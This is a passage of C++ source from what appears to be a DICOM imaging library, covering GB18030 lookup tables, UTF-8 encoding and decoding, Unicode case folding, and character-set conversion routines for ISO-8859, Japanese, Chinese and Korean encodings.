0x35FF, 0x396F, 0x365F, 0x39D1, 0x366D, 0x39E0, 0x3700, 0x3A74,
0x37DA, 0x3B4F, 0x38F9, 0x3C6F, 0x396A, 0x3CE1, 0x3CDF, 0x4057,
0x3DE7, 0x4160, 0x3FBE, 0x4338, 0x4032, 0x43AD, 0x4036, 0x43B2,
0x4061, 0x43DE, 0x4159, 0x44D7, 0x42CE, 0x464D, 0x42E2, 0x4662,
0x43A3, 0x4724, 0x43A8, 0x472A, 0x43FA, 0x477D, 0x440A, 0x478E,
0x45C3, 0x4948, 0x45F5, 0x497B, 0x45F7, 0x497E, 0x45FB, 0x4984,
0x45FC, 0x4987, 0x4610, 0x499C, 0x4613, 0x49A0, 0x4629, 0x49B8,
0x48E8, 0x4C78, 0x490F, 0x4CA4, 0x497E, 0x4D1A, 0x4A12, 0x4DAF,
0x4A63, 0x9FA6, 0x82BD, 0xE76C, 0x82BE, 0xE7C8, 0x82BF, 0xE7E7,
0x82CC, 0xE815, 0x82CD, 0xE819, 0x82D2, 0xE81F, 0x82D9, 0xE827,
0x82DD, 0xE82D, 0x82E1, 0xE833, 0x82E9, 0xE83C, 0x82F0, 0xE844,
0x8300, 0xE856, 0x830E, 0xE865, 0x93D5, 0xF92D, 0x9421, 0xF97A,
0x943C, 0xF996, 0x948D, 0xF9E8, 0x9496, 0xF9F2, 0x94B0, 0xFA10,
0x94B1, 0xFA12, 0x94B2, 0xFA15, 0x94B5, 0xFA19, 0x94BB, 0xFA22,
0x94BC, 0xFA25, 0x94BE, 0xFA2A, 0x98C4, 0xFE32, 0x98C5, 0xFE45,
0x98C9, 0xFE53, 0x98CA, 0xFE58, 0x98CB, 0xFE67, 0x98CC, 0xFE6C,
0x9961, 0xFF5F, 0x99E2, 0xFFE6
};
// Note: GB18030 maps 24 characters to the private use area, though
// as of Unicode 4.1 there are now standard unicode codes for these.
// By moving these out of the PUA, it becomes possible to display
// these characters on systems that support Unicode 4.1 and have the
// necessary fonts. However, it breaks the round-trip compatibility
// between GB18030 and Unicode and therefore breaks GB18030-2005.
const unsigned int PrivateToStandard[48] = {
0xE78D, 0xFE10, 0xE78E, 0xFE12, 0xE78F, 0xFE11, 0xE790, 0xFE13,
0xE791, 0xFE14, 0xE792, 0xFE15, 0xE793, 0xFE16, 0xE794, 0xFE17,
0xE795, 0xFE18, 0xE796, 0xFE19, 0xE816, 0x20087, 0xE817, 0x20089,
0xE818, 0x200CC, 0xE81E, 0x9FB4, 0xE826, 0x9FB5, 0xE82B, 0x9FB6,
0xE82C, 0x9FB7, 0xE831, 0x215D7, 0xE832, 0x9FB8, 0xE83B, 0x2298F,
0xE843, 0x9FB9, 0xE854, 0x9FBA, 0xE855, 0x241FE, 0xE864, 0x9FBB
};
// Convert a unicode code point to UTF-8
inline void UnicodeToUTF8(unsigned int code, std::string *s)
{
if (code <= 0x007F)
{
s->push_back(code);
}
else if (code <= 0x07FF)
{
s->push_back(0xC0 | (code >> 6));
s->push_back(0x80 | (code & 0x3F));
}
else if (code <= 0xFFFF)
{
s->push_back(0xE0 | (code >> 12));
s->push_back(0x80 | ((code >> 6) & 0x3F));
s->push_back(0x80 | (code & 0x3F));
}
else if (code <= 0x10FFFF)
{
s->push_back(0xF0 | (code >> 18));
s->push_back(0x80 | ((code >> 12) & 0x3F));
s->push_back(0x80 | ((code >> 6) & 0x3F));
s->push_back(0x80 | (code & 0x3F));
}
}
inline unsigned int UTF8ToUnicode(const char **cpp, const char *cpEnd)
{
const unsigned char *cp = reinterpret_cast<const unsigned char *>(*cpp);
const unsigned char *ep = reinterpret_cast<const unsigned char *>(cpEnd);
unsigned int code = 0;
if (cp != ep)
{
code = *cp++;
}
// check for non-ASCII
if ((code & 0x80) != 0)
{
bool good = false;
if (cp != ep)
{
if ((code & 0xE0) == 0xC0)
{
// 2 bytes, 0x0080 to 0x07FF
code &= 0x1F;
code <<= 6;
unsigned int s = *cp;
good = ((s & 0xC0) == 0x80);
cp += good;
code |= (s & 0x3F);
}
else if (cp+1 != ep)
{
if ((code & 0xF0) == 0xE0)
{
// 3 bytes, 0x0800 to 0xFFFF
code &= 0x0F;
code <<= 6;
unsigned int s = *cp;
good = ((s & 0xC0) == 0x80);
cp += good;
code |= (s & 0x3F);
code <<= 6;
s = *cp;
good = ((s & 0xC0) == 0x80);
cp += good;
code |= (s & 0x3F);
// check for UTF16 surrogates
if (good && (code & 0xF800) == 0xD800)
{
good = false;
// check for high surrogate followed by low surrogate
if ((code & 0xFC00) == 0xD800 &&
cp != ep && cp[0] == 0xED &&
cp+1 != ep && (cp[1] & 0xF0) == 0xB0 &&
cp+2 != ep && (cp[2] & 0xC0) == 0x80)
{
good = true;
code &= 0x03FF;
code <<= 4;
code |= cp[1] & 0x0F;
code <<= 6;
code |= cp[2] & 0x3F;
code += 0x010000;
cp += 3;
}
}
}
else if (cp+2 != ep)
{
if ((code & 0xF8) == 0xF0)
{
// 4 bytes, 0x010000 to 0x10FFFF
code &= 0x07;
code <<= 6;
unsigned int s = *cp;
good = ((s & 0xC0) == 0x80);
cp += good;
code |= (s & 0x3F);
code <<= 6;
s = *cp;
good = ((s & 0xC0) == 0x80);
cp += good;
code |= (s & 0x3F);
code <<= 6;
s = *cp;
good = ((s & 0xC0) == 0x80);
cp += good;
code |= (s & 0x3F);
good &= (code <= 0x10FFFF);
}
}
}
}
code = (good ? code : 0xFFFD);
}
*cpp = reinterpret_cast<const char *>(cp);
return code;
}
void CaseFoldUnicode(unsigned int code, std::string *s)
{
// This has been tested against the Unicode CaseFolding.txt
// published on 2015-01-13 for Unicode 8.
unsigned int code2 = 0;
unsigned int code3 = 0;
if (code <= 0x7f)
{
if (code >= 'A' && code <= 'Z')
{ // ascii uppercase -> ascii lowercase
code += 0x20;
}
}
else if (code <= 0xff)
{
if (code >= 0xC0 && code <= 0xDE && code != 0xD7)
{ // latin1 uppercase -> latin1 lowercase
code += 0x20;
}
else if (code == 0xDF)
{ // latin1 s-sharp -> lowercase ss
code = 's';
code2 = 's';
}
else if (code == 0xB5)
{ // latin1 micron -> greek lowercase mu
code = 0x03BC;
}
}
else if (code <= 0x017f)
{
if (code >= 0x0100 && code <= 0x012F)
{ // various accented latin characters
code |= 0x0001;
}
else if (code == 0x0130)
{ // I with dot becomes lowercase i
code = 'i';
code2 = 0x0307;
}
else if (code >= 0x0132 && code <= 0x0137)
{ // IJ and various accented latin characters
code |= 0x0001;
}
else if (code >= 0x139 && code <= 0x148)
{ // various accented latin characters
code += (code & 0x0001);
}
else if (code == 0x0149)
{ // 'n -> two separate characters
code = 0x02BC;
code2 = 'n';
}
else if (code >= 0x014A && code <= 0x0177)
{ // eng and various accented latin characters
code |= 0x0001;
}
else if (code == 0x0178)
{ // uppercase y with diaeresis becomes lowercase y with diaeresis
code = 0xFF;
}
else if (code >= 0x0179 && code <= 0x017E)
{ // various accented latin characters
code += (code & 0x0001);
}
else if (code == 0x017F)
{ // long s -> lowercase s
code = 's';
}
}
else if (code <= 0x036f)
{ // yet more latin with accents
if (code >= 0x0180 && code <= 0x01CA)
{
const static unsigned short table[75] = {
0x0180, 0x0253, 0x0183, 0x0183, 0x0185, 0x0185, 0x0254, 0x0188,
0x0188, 0x0256, 0x0257, 0x018C, 0x018C, 0x018D, 0x01DD, 0x0259,
0x025B, 0x0192, 0x0192, 0x0260, 0x0263, 0x0195, 0x0269, 0x0268,
0x0199, 0x0199, 0x019A, 0x019B, 0x026F, 0x0272, 0x019E, 0x0275,
0x01A1, 0x01A1, 0x01A3, 0x01A3, 0x01A5, 0x01A5, 0x0280, 0x01A8,
0x01A8, 0x0283, 0x01AA, 0x01AB, 0x01AD, 0x01AD, 0x0288, 0x01B0,
0x01B0, 0x028A, 0x028B, 0x01B4, 0x01B4, 0x01B6, 0x01B6, 0x0292,
0x01B9, 0x01B9, 0x01BA, 0x01BB, 0x01BD, 0x01BD, 0x01BE, 0x01BF,
0x01C0, 0x01C1, 0x01C2, 0x01C3, 0x01C6, 0x01C6, 0x01C6, 0x01C9,
0x01C9, 0x01C9, 0x01CC };
code = table[code - 0x0180];
}
else if (code >= 0x01CB && code <= 0x01DC)
{
code += (code & 0x0001);
}
else if (code >= 0x01DE && code <= 0x01EF)
{
code |= 0x0001;
}
else if (code == 0x01F0)
{
code = 0x006A;
code2 = 0x030C;
}
else if (code >= 0x01F0 && code <= 0x024F)
{
const static unsigned short table[96] = {
0x01F0, 0x01F3, 0x01F3, 0x01F3, 0x01F5, 0x01F5, 0x0195, 0x01BF,
0x01F9, 0x01F9, 0x01FB, 0x01FB, 0x01FD, 0x01FD, 0x01FF, 0x01FF,
0x0201, 0x0201, 0x0203, 0x0203, 0x0205, 0x0205, 0x0207, 0x0207,
0x0209, 0x0209, 0x020B, 0x020B, 0x020D, 0x020D, 0x020F, 0x020F,
0x0211, 0x0211, 0x0213, 0x0213, 0x0215, 0x0215, 0x0217, 0x0217,
0x0219, 0x0219, 0x021B, 0x021B, 0x021D, 0x021D, 0x021F, 0x021F,
0x019E, 0x0221, 0x0223, 0x0223, 0x0225, 0x0225, 0x0227, 0x0227,
0x0229, 0x0229, 0x022B, 0x022B, 0x022D, 0x022D, 0x022F, 0x022F,
0x0231, 0x0231, 0x0233, 0x0233, 0x0234, 0x0235, 0x0236, 0x0237,
0x0238, 0x0239, 0x2C65, 0x023C, 0x023C, 0x019A, 0x2C66, 0x023F,
0x0240, 0x0242, 0x0242, 0x0180, 0x0289, 0x028C, 0x0247, 0x0247,
0x0249, 0x0249, 0x024B, 0x024B, 0x024D, 0x024D, 0x024F, 0x024F };
code = table[code - 0x01F0];
}
else if (code == 0x0345)
{ // combining greek ypogegrammeni
code = 0x03B9;
}
}
else if (code <= 0x03ff)
{
// greek characters
if (code >= 0x0370 && code <= 0x038F)
{
const static unsigned short table[32] = {
0x0371, 0x0371, 0x0373, 0x0373, 0x0374, 0x0375, 0x0377, 0x0377,
0x0378, 0x0379, 0x037A, 0x037B, 0x037C, 0x037D, 0x037E, 0x03F3,
0x0380, 0x0381, 0x0382, 0x0383, 0x0384, 0x0385, 0x03AC, 0x0387,
0x03AD, 0x03AE, 0x03AF, 0x038B, 0x03CC, 0x038D, 0x03CD, 0x03CE };
code = table[code - 0x0370];
}
else if ((code >= 0x0391 && code <= 0x03A1) ||
(code >= 0x03A3 && code <= 0x03AB))
{
code += 0x20;
}
else if (code == 0x0390)
{
code = 0x03B9;
code2 = 0x0308;
code3 = 0x0301;
}
else if (code == 0x03B0)
{
code = 0x03C5;
code2 = 0x0308;
code3 = 0x0301;
}
else if (code == 0x03C2)
{
code += 0x01;
}
else if (code >= 0x03CF && code <= 0x03D6)
{
const static unsigned short table[8] = {
0x03D7, 0x03B2, 0x03B8, 0x03D2, 0x03D3, 0x03D4, 0x03C6, 0x03C0 };
code = table[code - 0x03CF];
}
else if (code >= 0x03D8 && code <= 0x03EF)
{
code |= 0x0001;
}
else if (code >= 0x03F0 && code <= 0x03FF)
{
const static unsigned short table[16] = {
0x03BA, 0x03C1, 0x03F2, 0x03F3, 0x03B8, 0x03B5, 0x03F6, 0x03F8,
0x03F8, 0x03F2, 0x03FB, 0x03FB, 0x03FC, 0x037B, 0x037C, 0x037D };
code = table[code - 0x03F0];
}
}
else if (code <= 0x052f)
{ // cyrillic
if (code >= 0x0400 && code <= 0x040F)
{
code += 0x50;
}
else if (code >= 0x0410 && code <= 0x042F)
{
code += 0x20;
}
else if ((code >= 0x0460 && code <= 0x0481) ||
(code >= 0x048A && code <= 0x04BF))
{
code |= 0x0001;
}
else if (code == 0x04C0)
{
code = 0x04CF;
}
else if (code >= 0x04C1 && code <= 0x04CE)
{
code += (code & 0x0001);
}
else if (code >= 0x04D0 && code <= 0x052F)
{
code |= 0x0001;
}
}
else if (code <= 0x1000)
{ // armenian
if (code >= 0x0531 && code <= 0x0556)
{
code += 0x30;
}
else if (code == 0x0587)
{
code = 0x0565;
code2 = 0x0582;
}
}
else if (code <= 0x13ff)
{
if ((code >= 0x10A0 && code <= 0x10C5) ||
code == 0x10C7 || code == 0x10CD)
{ // georgian
code += 0x1C60;
}
else if (code >= 0x13F8 && code <= 0x13FD)
{ // cherokee
code -= 0x08;
}
}
else if (code <= 0x1eff)
{ // vietnamese and other latin
if (code >= 0x1E00 && code <= 0x1E95)
{
code |= 0x0001;
}
else if (code >= 0x1E96 && code <= 0x1E9B)
{
const static unsigned short table[6] = {
'h', 't', 'w', 'y', 'a', 0x1E61 };
const static unsigned short table2[6] = {
0x0331, 0x0308, 0x030A, 0x030A, 0x02BE, 0, };
code2 = table2[code - 0x1E96];
code = table[code - 0x1E96];
}
else if (code == 0x1E9E)
{ // capital s-sharp -> ss
code = 's';
code2 = 's';
}
else if (code >= 0x1EA0 && code <= 0x1EFE)
{
code |= 0x0001;
}
}
else if (code <= 0x1fff)
{
// rare greek
if ((code >= 0x1F08 && code <= 0x1F0F) ||
(code >= 0x1F18 && code <= 0x1F1D) ||
(code >= 0x1F28 && code <= 0x1F2F) ||
(code >= 0x1F38 && code <= 0x1F3F) ||
(code >= 0x1F48 && code <= 0x1F4D))
{
code -= 0x08;
}
else if (code >= 0x1F50 && code <= 0x1F56 && (code & 0x1) == 0)
{
const static unsigned short table3[7] = {
0, 0, 0x0300, 0, 0x0301, 0, 0x0342 };
code3 = table3[code - 0x1F50];
code2 = 0x0313;
code = 0x03C5;
}
else if ((code >= 0x1F59 && code <= 0x1F5F && (code & 0x1) != 0) ||
(code >= 0x1F68 && code <= 0x1F6F))
{
code -= 0x08;
}
else if (code >= 0x1F80 && code <= 0x1FAF)
{
code2 = 0x03B9;
if (code <= 0x1F87) { code -= 0x80; }
else if (code <= 0x1F8F) { code -= 0x88; }
else if (code <= 0x1F97) { code -= 0x70; }
else if (code <= 0x1F9F) { code -= 0x78; }
else if (code <= 0x1FA7) { code -= 0x40; }
else { code -= 0x48; }
}
else if (code >= 0x1FB2 && code <= 0x1FFC)
{
const static unsigned short table[75] = {
0x1F70, 0x03B1, 0x03AC, 0x1FB5, 0x03B1, 0x03B1, 0x1FB0, 0x1FB1,
0x1F70, 0x1F71, 0x03B1, 0x1FBD, 0x03B9, 0x1FBF, 0x1FC0, 0x1FC1,
0x1F74, 0x03B7, 0x03AE, 0x1FC5, 0x03B7, 0x03B7, 0x1F72, 0x1F73,
0x1F74, 0x1F75, 0x03B7, 0x1FCD, 0x1FCE, 0x1FCF, 0x1FD0, 0x1FD1,
0x03B9, 0x03B9, 0x1FD4, 0x1FD5, 0x03B9, 0x03B9, 0x1FD0, 0x1FD1,
0x1F76, 0x1F77, 0x1FDC, 0x1FDD, 0x1FDE, 0x1FDF, 0x1FE0, 0x1FE1,
0x03C5, 0x03C5, 0x03C1, 0x1FE5, 0x03C5, 0x03C5, 0x1FE0, 0x1FE1,
0x1F7A, 0x1F7B, 0x1FE5, 0x1FED, 0x1FEE, 0x1FEF, 0x1FF0, 0x1FF1,
0x1F7C, 0x03C9, 0x03CE, 0x1FF5, 0x03C9, 0x03C9, 0x1F78, 0x1F79,
0x1F7C, 0x1F7D, 0x03C9 };
if (code <= 0x1FB4 ||
code == 0x1FBC || (code >= 0x1FC2 && code <= 0x1FC4) ||
code == 0x1FCC || (code >= 0x1FF2 && code <= 0x1FF4) ||
code == 0x1FFC)
{
code2 = 0x03B9;
}
else if (code == 0x1FB6 || code == 0x1FC6 || code == 0x1FD6 ||
code == 0x1FE6 || code == 0x1FF6)
{
code2 = 0x0342;
}
else if (code == 0x1FB6 || code == 0x1FB7 || code == 0x1FC7 ||
code == 0x1FF7)
{
code2 = 0x0342;
code3 = 0x03B9;
}
else if (code >= 0x1FD2 && code <= 0x1FD3)
{
code2 = 0x0308;
code3 = code - (0x1FD2 - 0x0300);
}
else if (code == 0x1FD7 || code == 0x1FE7)
{
code2 = 0x0308;
code3 = 0x0342;
}
else if (code >= 0x1FE2 && code <= 0x1FE3)
{
code2 = 0x0308;
code3 = code - (0x1FE2 - 0x0300);
}
else if (code == 0x1FE4)
{
code2 = 0x0313;
}
code = table[code - 0x1FB2];
}
}
else if (code <= 0x24ff)
{ // symbols
if (code == 0x2126)
{ // Ohm symbol becomes omega
code = 0x03C9;
}
else if (code == 0x212A)
{ // Kelvin symbol becomes k
code = 'k';
}
else if (code == 0x212B)
{ // Angstrom symbol becomes a with circle
code = 0xE5;
}
else if (code == 0x2132)
{
code = 0x214E;
}
else if (code >= 0x2160 && code <= 0x216F)
{
code += 0x10;
}
else if (code == 0x2183)
{
code += 0x01;
}
else if (code >= 0x24B6 && code <= 0x24CF)
{
code += 0x1a;
}
}
else if (code <= 0x2cff)
{
if (code >= 0x2C00 && code <= 0x2C2E)
{ // glagolitic
code += 0x30;
}
else if (code >= 0x2C60 && code <= 0x2C7F)
{ // rare latin
const static unsigned short table[32] = {
0x2C61, 0x2C61, 0x026B, 0x1D7D, 0x027D, 0x2C65, 0x2C66, 0x2C68,
0x2C68, 0x2C6A, 0x2C6A, 0x2C6C, 0x2C6C, 0x0251, 0x0271, 0x0250,
0x0252, 0x2C71, 0x2C73, 0x2C73, 0x2C74, 0x2C76, 0x2C76, 0x2C77,
0x2C78, 0x2C79, 0x2C7A, 0x2C7B, 0x2C7C, 0x2C7D, 0x023F, 0x0240 };
code = table[code - 0x2C60];
}
else if (code >= 0x2C80 && code <= 0x2CF3)
{ // coptic
if (code <= 0x2CE3)
{
code |= 0x0001;
}
else if (code == 0x2CEB || code == 0x2CED || code == 0x2CF2)
{
code += 0x0001;
}
}
}
else if (code <= 0x9fff)
{
// cjk ideograms
}
else if (code <= 0xabff)
{
if ((code >= 0xA640 && code <= 0xA66D) ||
(code >= 0xA680 && code <= 0xA69B))
{ // rare cyrillic
code |= 0x0001;
}
else if (code >= 0xA722 && code <= 0xA76F && code != 0xA730)
{ // rare latin
code |= 0x0001;
}
else if (code >= 0xA779 && code <= 0xA77C)
{
code += (code & 0x0001);
}
else if (code == 0xA77D)
{
code = 0x1D79;
}
else if (code >= 0xA77E && code <= 0xA787)
{
code |= 0x0001;
}
else if (code == 0xA78B)
{
code += 0x0001;
}
else if (code == 0xA78D)
{
code = 0x0265;
}
else if (code >= 0xA790 && code <= 0xA7A9 && code != 0xA794)
{
code |= 0x0001;
}
else if (code >= 0xA7AA && code <= 0xA7B6)
{
const static unsigned short table[13] = {
0x0266, 0x025C, 0x0261, 0x026C, 0xA7AE, 0xA7AF, 0x029E, 0x0287,
0x029D, 0xAB53, 0xA7B5, 0xA7B5, 0xA7B7 };
code = table[code - 0xA7AA];
}
else if (code >= 0xAB70 && code <= 0xABBF)
{ // cherokee
code -= 0x97D0;
}
}
else if (code <= 0xfaff)
{
// hangul, cjk, private use
}
else if (code <= 0xfbff)
{
if (code >= 0xFB00 && code <= 0xFB06)
{ // latin ligatures
if (code <= 0xFB04)
{
if (code == 0xFB01)
{
code2 = 'i';
}
else if (code == 0xFB02)
{
code2 = 'l';
}
else
{
code2 = 'f';
if (code == 0xFB03)
{
code3 = 'i';
}
else if (code == 0xFB04)
{
code3 = 'l';
}
}
code = 'f';
}
else if (code <= 0xFB06)
{
code = 's';
code2 = 't';
}
}
else if (code >= 0xFB13 && code <= 0xFB17)
{ // armenian ligatures
const static unsigned short table[5] = {
0x0574, 0x0574, 0x0574, 0x057E, 0x0574 };
const static unsigned short table2[5] = {
0x0576, 0x0565, 0x056B, 0x0576, 0x056D };
code2 = table2[code - 0xFB13];
code = table[code - 0xFB13];
}
}
else if (code <= 0xffff)
{
if (code >= 0xFF21 && code <= 0xFF3A)
{ // wide latin uppercase -> wide latin lowercase
code += 0x20;
}
}
else
{
if (code >= 0x10400 && code <= 0x10427 )
{
code += 0x28;
}
else if (code >= 0x10C80 && code <= 0x10CB2)
{
code += 0x40;
}
else if (code >= 0x118A0 && code <= 0x118BF)
{
code += 0x20;
}
}
UnicodeToUTF8(code, s);
if (code2)
{
UnicodeToUTF8(code2, s);
if (code3)
{
UnicodeToUTF8(code3, s);
}
}
}
} // end anonymous namespace
//----------------------------------------------------------------------------
unsigned char vtkDICOMCharacterSet::KeyFromString(const char *name, size_t nl)
{
const char *cp = name;
const char *ep = name;
int key = 0;
if (cp)
{
ep += nl;
}
// Loop over backslash-separated values
for (int n = 0; cp != ep && *cp != '\0'; n++)
{
// strip leading spaces
while (cp != ep && *cp == ' ') { cp++; }
// search for end of value
const char *dp = cp;
while (dp != ep && *dp != '\\' && *dp != '\0') { dp++; }
// find length of value (strip trailing spaces)
size_t l = dp - cp;
while (l > 0 && cp[l-1] == ' ') { l--; }
if (n == 0 && l > 0)
{
// find the initial character set
for (int i = 0; i < ISO_2022_LOWBIT && key == 0; i++)
{
for (int j = 0; j < 2 && key == 0; j++)
{
if (l == strlen(Charsets[i][j]) &&
strncmp(Charsets[i][j], cp, l) == 0)
{
key = i;
if (j != 0)
{
key |= ISO_2022;
}
}
}
}
}
else if (l > 0)
{
// set the extensions as bits in the ISO_2022 bitfield
for (int k = 0; k < 4; k++)
{
if (l == strlen(Extensions[k][1]) &&
strncmp(Extensions[k][1], cp, l) == 0)
{
// if the whole ISO_2022 bitfield is set, clear it
if ((key & ISO_2022) == ISO_2022)
{
key ^= ISO_2022;
}
// set each specifc extension as a bit in the bitfield
key |= (ISO_2022_LOWBIT << k);
break;
}
}
}
cp = dp;
if (cp != ep && *cp == '\\') { cp++; }
}
return static_cast<unsigned char>(key);
}
//----------------------------------------------------------------------------
std::string vtkDICOMCharacterSet::GetCharacterSetString() const
{
std::string value;
int ext = (this->Key & ISO_2022);
int base = (this->Key ^ ext);
if (base != 0)
{
bool extended = (ext != 0);
value += Charsets[base][extended];
}
// if ext is set to ISO_2022, there are no additional char sets
if (ext != ISO_2022)
{
for (int k = 0; k < 4; k++)
{
if ((ext & (ISO_2022_LOWBIT << k)) != 0)
{
value += "\\";
value += Extensions[k][1];
}
}
}
return value;
}
//----------------------------------------------------------------------------
std::string vtkDICOMCharacterSet::ConvertToUTF8(
const char *text, size_t l) const
{
std::string s;
if (this->Key == ISO_IR_6 || // US-ASCII
this->Key == ISO_IR_192) // UTF-8
{
s.assign(text, l);
}
else if (this->Key == ISO_IR_100) // ISO-8895-1
{
// latin1, codepage is identity
const char *cp = text;
size_t m = l;
// compute the size of the UTF-8 string
for (size_t n = 0; n < l; n++)
{
m += static_cast<unsigned char>(*cp++) >> 7;
}
cp = text;
s.resize(m);
// encode as UTF-8
size_t i = 0;
while (i < m)
{
while (i < m && (*cp & 0x80) == 0)
{
s[i++] = *cp++;
}
if (i < m)
{
int code = static_cast<unsigned char>(*cp++);
s[i++] = (0xC0 | (code >> 6));
s[i++] = (0x80 | (code & 0x3F));
}
}
}
else if (this->Key <= ISO_IR_166) // ISO-8895-X
{
// Use the ISO-8859 codepages
int page = this->Key - ISO_IR_101;
s.reserve(l + l/2);
const char *cp = text;
const char *ep = text + l;
while (cp != ep)
{
int code = static_cast<unsigned char>(*cp++);
if (code >= 0xA0)
{
code = CodePagesISO8859[code - 0xA0][page];
}
UnicodeToUTF8(code, &s);
}
}
else if (this->Key == ISO_IR_13 || // JIS_X_0201 romaji & katakana
this->Key == ISO_IR_14)
{
// JIS_X_0201 romaji (<0x7f) and half-width katakana (>0x7f)
s.reserve(2*l);
const char *cp = text;
const char *ep = text + l;
while (cp != ep)
{
int code = static_cast<unsigned char>(*cp++);
if (code <= 0x7F && code != '\\' && code != '~')
{
s.push_back(code);
}
else
{
if (code == '\\')
{
code = 0xA5; // yen symbol
}
else if (code == '~')
{
code = 0x203E; // macron (overline)
}
else if (code >= 0xA1 && code <= 0xDF)
{
code += 0xFEC0; // half-width katakana
}
else if (cp != ep)
{
// if the byte not a valid JIS X 0201 code, then it is probably
// the first byte of a two-byte Shift-JIS sequence (vendors are
// required to convert Shift-JIS to ISO 2022 for use in DICOM,
// so this code is for compatibility with non-conformant files).
int x = code;
int y = static_cast<unsigned char>(*cp++);
code = (y == 0 ? 0 : 0xFFFD); // illegal character or null
if (y >= 0x40 && y <= 0xFC && y != 0x7F)
{
int a, b;
if (y < 0x9F)
{
a = 0;
b = y - (y < 0x7F ? 0x40 : 0x41);
}
else
{
a = 1;
b = y - 0x9F;
}
if (x >= 0x81 && x <= 0x9F)
{
a += (x - 0x81)*2;
code = CodePageJISX0208[a*94+b];
}
else if (x >= 0xE0 && x <= 0xEF)
{
a += (x - 0xC1)*2;
code = CodePageJISX0208[a*94+b];
}
}
}
else
{
code = 0xFFFD; // illegal character
}
UnicodeToUTF8(code, &s);
}
}
}
else if (this->Key == GB18030 || this->Key == GBK)
{
// Chinese national encoding standard
const char *cp = text;
const char *ep = text + l;
while (cp != ep)
{
unsigned int code = static_cast<unsigned char>(*cp++);
if (code > 0x7f)
{
if (cp == ep)
{
// end of input, terminate early
break;
}
unsigned short a = static_cast<unsigned char>(code);
unsigned short b = static_cast<unsigned char>(*cp++);
code = 0xFFFD; // untranslated multi-byte character
if (a > 0x80 && a < 0xFF &&
b >= 0x40 && b < 0xFF && b != 0x7F)
{
// two-byte character
if (b > 0x7F) { b--; }
a = (a - 0x81)*190 + (b - 0x40);
code = CodePageGB18030[a];
}
if (this->Key == GB18030)
{
if (a > 0x80 && a < 0x90 && b >= '0' && b <= '9')
{
// start of a four-byte code
if (cp == ep || cp+1 == ep)
{
// unexpected end of input, terminate early
break;
}
if (static_cast<unsigned char>(cp[0]) > 0x80 &&
static_cast<unsigned char>(cp[0]) < 0xFF &&
cp[1] >= '0' && cp[1] <= '9')
{
// four-byte GB18030 character
unsigned short c = static_cast<unsigned char>(*cp++);
unsigned short d = static_cast<unsigned char>(*cp++);
a = (a - 0x81)*10 + (b - '0');
b = (c - 0x81)*10 + (d - '0');
unsigned int g = a*1260 + b;
if (g <= 0x99FB)
{
// search linearly compressed table
size_t n = sizeof(LinearGB18030)/sizeof(short);
for (size_t i = 0;; i += 2)
{
if (i >= n || LinearGB18030[i] > g)
{
code = LinearGB18030[i-1] + (g - LinearGB18030[i-2]);
break;
}
}
// this mapping was modified in GB18030-2005, after the linear
// table had already been defined, so it must be special-cased
if (code == 0x1E3F)
{
code = 0xE7C7;
}
}
}
}
else if (a >= 0x90 && a < 0xFF && b >= '0' && b <= '9')
{
// start of a four-byte code
if (cp == ep || cp+1 == ep)
{
// unexpected end of input, terminate early
break;
}
if (static_cast<unsigned char>(cp[0]) > 0x80 &&
static_cast<unsigned char>(cp[0]) < 0xFF &&
cp[1] >= '0' && cp[1] <= '9')
{
// four-byte GB18030 to codes beyond 0xFFFF
unsigned short c = static_cast<unsigned char>(*cp++);
unsigned short d = static_cast<unsigned char>(*cp++);
a = (a - 0x90)*10 + (b - '0');
b = (c - 0x81)*10 + (d - '0');
unsigned int g = a*1260 + b;
if (g <= 0xFFFFF)
{
code = g + 0x10000;
}
}
}
// convert some private codes to Unicode 4.1 standard codes in order
// to ensure they these characters can be displayed (though this is
// done at the cost of the one-to-one Unicode-to-GB18030 mapping)
size_t n = sizeof(PrivateToStandard)/sizeof(int);
if (code >= PrivateToStandard[0] && code <= PrivateToStandard[n-2])
{
for (size_t i = 0; i < n; i += 2)
{
if (code == PrivateToStandard[i])
{
code = PrivateToStandard[i+1];
break;
}
}
}
}
}
UnicodeToUTF8(code, &s);
}
}
else if ((this->Key & ISO_2022) != 0)
{
// Uses ISO-2022 escape codes to switch character sets.
// To get the character set that is active at the beginning of
// the string, remove all the bits in the ISO_2022 bitfield.
unsigned char charset = this->Key ^ (this->Key & ISO_2022);
// loop through the string, looking for iso-2022 escape codes,
// and when an escape code is found, change the charset
size_t i = 0;
while (i < l)
{
// search for the next escape
size_t j = i;
for (; j < l; j++)
{
if (text[j] == '\033') { break; }
}
if (charset < ISO_2022_LOWBIT)
{
// indicates one of the single-byte character sets, convert
// characters up to the next escape code
vtkDICOMCharacterSet cs(charset);
s += cs.ConvertToUTF8(&text[i], j-i);
}
else if (charset == ISO_2022_IR_58)
{
// GB2312 chinese encoding
while (i < j)
{
unsigned short code = static_cast<unsigned char>(text[i++]);
if (code >= 0xA1 && code < 0xFF)
{
if (i == j)
{
break;
}
unsigned short a = code - 0x81;
code = static_cast<unsigned char>(text[i++]);
if (code >= 0xA1 && code < 0xFF)
{
unsigned short b = code - 0x41;
code = CodePageGB18030[a*190 + b];
}
}
UnicodeToUTF8(code, &s);
}
}
else if (charset == ISO_2022_IR_87 ||
charset == ISO_2022_IR_159)
{
// iso-2022-jp and iso-2022-jp-2
while (i < j)
{
// convert two bytes into unicode
unsigned short code = static_cast<unsigned char>(text[i++]);
if (code >= 0x21 && code < 0x7F)
{
if (i == j)
{
break;
}
unsigned short a = code - 0x21;
code = static_cast<unsigned char>(text[i++]);
if (code >= 0x21 && code < 0x7F)
{
unsigned short b = code - 0x21;
if (charset == ISO_2022_IR_87)
{
code = CodePageJISX0208[a*94+b];
}
else
{
code = CodePageJISX0212[a*94+b];
}
}
}
else if (code >= 0xA1 && code <= 0xDF)
{
// most likely half-width katakana, which can be used in
// DICOM even though they are not permitted in iso-2022-jp
code += 0xFEC0;
}
else if (code > 0x7F)
{
// possibly EUC-JP or Shift-JIS, neither of which should
// be used with ISO 2022 escape codes
code = 0xFFFD;
}
UnicodeToUTF8(code, &s);
}
}
else if (charset == ISO_2022_IR_149)
{
// iso-2022-kr
while (i < j)
{
unsigned short code = static_cast<unsigned char>(text[i++]);
if (code >= 0xA1 && code < 0xFF)
{
if (i == j)
{
break;
}
// convert two bytes into unicode
unsigned short a = code - 0xA1;
code = static_cast<unsigned char>(text[i++]);
if (code >= 0xA1 && code < 0xFF)
{
unsigned short b = code - 0xA1;
code = CodePageKSX1001[a*94+b];
}
}
UnicodeToUTF8(code, &s);
}
}
else
{
// other multibyte conversions
while (i < j)
{
unsigned short code = 0xFFFD;
